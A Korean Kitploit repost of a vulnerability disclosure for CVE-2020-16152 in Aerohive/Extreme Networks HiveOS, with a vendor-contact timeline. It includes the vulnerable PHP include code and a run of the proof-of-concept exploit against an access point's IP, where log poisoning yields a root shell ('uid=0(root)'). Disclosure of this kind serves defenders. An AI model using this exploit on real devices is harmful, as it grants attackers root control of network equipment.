CVE-2020-16152 — CVE-2020-16152용 개념 증명 익스플로잇: Aerohive/Extreme Networks HiveOS의 PHP 문자열 잘림 및 로그 오염을 통한 LFI-to-RCE로, 취약한 액세스 포인트에서 루트 액세스를 가능하게 합니다. | Kitploit

요약


제품 공급업체	Aerohive Networks / Extreme Networks
제품명	HiveOS / IQ Engine
제품 버전	10.0r8a build-242466 및 이전 버전에서 테스트됨


2019/02/17	문제가 Aerohive Networks에 보고됨
2019/02/19	공급업체로부터 문제 확인을 접수했으며, 공급업체가 해결 방법(웹 인터페이스 비활성화)을 제안함
2019/02/25	공급업체가 문제를 확인함
2019/03/18	문의?
2019/05/30	문의?
2019/06/03	공급업체가 전화 통화를 제안하여 전화 정보로 답변했지만, 전화를 받지 못함
2019/08/12	문의? 공급업체가 내부적으로 문제가 에스컬레이션되었다고 답변함
2019/09/23	문의?
2019/09/25	공급업체가 LFI 문제가 아직 해결되지 않았다고 답변함
2020/07/30	05/2020에 출시된 HiveOS 10.0r8a build-242466에서도 문제가 여전히 수정되지 않았음을 확인함. CVE를 예약하고, 수정이 적극적으로 진행 중이지 않으면 2020/09/01을 공개 마감일로 통보함
2020/09/01	여전히 공급업체의 답변이 없어 세부 정보와 PoC를 공개함

protected function getAccess($pageName,$actionType) {
  $filename = $pageName.'Access.class.php5';
  $classname = $pageName.'Access';
  if (include_once $filename) {
    require_once $filename;
    return new $classname($this->user,$actionType);
  }
  ...
}

$ php-cgi -v
PHP Warning:  PHP Startup: Cannot dynamically load sockets.so - dynamic modules are not supported in Unknown on line 0
PHP 5.2.17 (cgi-fcgi) (built: May 28 2020 23:36:34)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2010 Zend Technologies

$ ./CVE-2020-16152.py 192.168.0.166 'echo -e "\n\n";id' | tail
2020-08-30 13:56:28 notice  root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:56:28 GMT+1:00 2020
2020-08-30 13:56:28 notice  root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:56:54 info    ah_dcd: application: get track-ip trigger access console request: cancel.
2020-08-30 13:57:00 notice  root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:57:00 GMT+1:00 2020
2020-08-30 13:57:00 notice  root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:57:31 notice  ah_webui: security: Admin "<


uid=0(root) gid=0(root)

CVE-2020-16152

인기

공개 타임라인:

세부 사항

PoC